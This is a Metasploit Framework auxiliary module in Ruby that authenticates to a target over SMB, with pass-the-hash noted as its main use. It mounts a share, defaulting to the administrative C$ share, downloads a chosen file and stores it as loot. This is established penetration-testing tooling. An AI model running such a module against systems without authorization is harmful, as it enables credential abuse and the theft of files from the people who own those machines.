metasploit-framework/modules/auxiliary/admin/smb/download_file.rb

77 lines
2.1 KiB
Ruby

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::SMB
include Msf::Exploit::Remote::SMB::Authenticated
include Msf::Auxiliary::Report
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize
super(
'Name' => 'SMB File Download Utility',
'Description' => %Q{
This module downloads a file from a target share and path. The usual reason
to use this module is to work around limitations in an existing SMB client that may not
be able to take advantage of pass-the-hash style authentication.
},
'Author' =>
[
'mubix' # copied from hdm upload_file module
],
'License' => MSF_LICENSE
)
register_options([
OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']),
OptString.new('RPATH', [true, 'The name of the remote file relative to the share'])
], self.class)
end
def smb_download
print_status("Connecting to the #{rhost}:#{rport}...")
connect()
smb_login()
print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
print_status("Trying to download #{datastore['RPATH']}...")
data = ''
fd = simple.open("\\#{datastore['RPATH']}", 'ro')
begin
data = fd.read
ensure
fd.close
end
fname = datastore['RPATH'].split("\\")[-1]
path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname)
print_good("#{fname} saved as: #{path}")
end
def run
begin
smb_download
rescue Rex::Proto::SMB::Exceptions::LoginError => e
print_error("Unable to login: #{e.message}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("Unable to download the file: #{e.message}")
end
end
end